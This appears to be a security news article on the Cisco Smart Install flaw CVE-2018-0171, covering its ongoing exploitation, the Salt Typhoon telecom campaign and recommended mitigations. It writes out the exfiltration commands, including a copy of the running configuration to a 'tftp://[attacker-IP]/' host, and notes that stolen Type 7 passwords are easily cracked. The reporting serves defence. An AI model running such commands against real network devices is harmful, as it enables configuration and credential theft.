A Seven‑Year‑Old Cisco Flaw Now Lets Hackers Execute Code Remotely on Network Gear

A Cisco’s Smart Install protocol (CVE-2018-0171), first patched in 2018, remains a pervasive threat to global network infrastructure due to widespread misconfigurations and exploitation by state-sponsored threat actors.

The flaw allows unauthenticated attackers to execute arbitrary code on Cisco switches and routers via exposed Smart Install Client services, enabling configuration theft, credential harvesting, and firmware tampering.

Recent campaigns by the Chinese-linked Salt Typhoon APT group have reignited concerns about legacy vulnerabilities in critical infrastructure.

Technical Vulnerabilities in Cisco Smart Install

Cisco’s Smart Install protocol, designed for zero-touch deployment of network devices, operates on TCP port 4786 without authentication by default.

According to the researchers, this “plug-and-play” feature simplifies initial setup but introduces three systemic risks: default activation across Cisco IOS/IOS XE devices, lack of credential validation for configuration changes, and frequent internet exposure of the service.

Shodan and Censys scans reveal over 1,200 devices still publicly accessible via Smart Install as of 2025, though not all are necessarily vulnerable to CVE-2018-0171.

The vulnerability stems from improper validation of Smart Install Director messages, allowing maliciously crafted packets to trigger buffer overflows or direct command execution.

Attackers leverage this to manipulate Trivial File Transfer Protocol (TFTP) settings, exfiltrate running configurations, or push compromised firmware.

Cisco’s advisory notes the flaw affects devices running IOS/IOS XE Software releases prior to March 2018, but GreyNoise observations confirm ongoing exploitation attempts against unpatched systems.

Operational Risks and Ongoing Exploitation

The Smart Install Exploit Toolkit (SIETv3) automates attacks against CVE-2018-0171, enabling threat actors to execute commands like copy running-config tftp://attacker-IP to steal device configurations.

Forensic analysis of attack traffic shows attackers chain two critical commands:

1. copy system:running-config flash:/config.text to localize the active configuration
2. copy flash:/config.text tftp://[attacker-IP]/ to exfiltrate the file via unencrypted TFTP

Stolen configurations often contain Type 7 encrypted passwords, which security researchers cracked in real time using publicly available Vigenère cipher tools.

Compromised credentials enable persistent access through legitimate admin accounts, bypassing anomaly detection systems.

The NSA has repeatedly warned against Type 7 encryption since 2006, advocating for secure SCRYPT-based Type 8/9 hashes instead.

Chinese APT group Salt Typhoon weaponized this flaw in their 2024 campaign against major U.S. telecom providers, exfiltrating network topologies and pivoting to core infrastructure.

Cisco Talos attributes 17% of all Smart Install-related incidents since 2023 to this group, which uses compromised devices as ingress points for lateral movement.

A U.S. Senate report called these breaches “the worst telecom hack in history,” highlighting risks to critical infrastructure.

Cisco recommends disabling Smart Install via no vstack commands, restricting port 4786 access, and migrating to encrypted password standards.

However, legacy devices in operational environments often lack these mitigations, perpetuating the seven-year-old threat.

As of April 2025, over 300 internet-facing devices still respond to SIETv3 probes globally, underscoring the urgent need for network segmentation and firmware updates.

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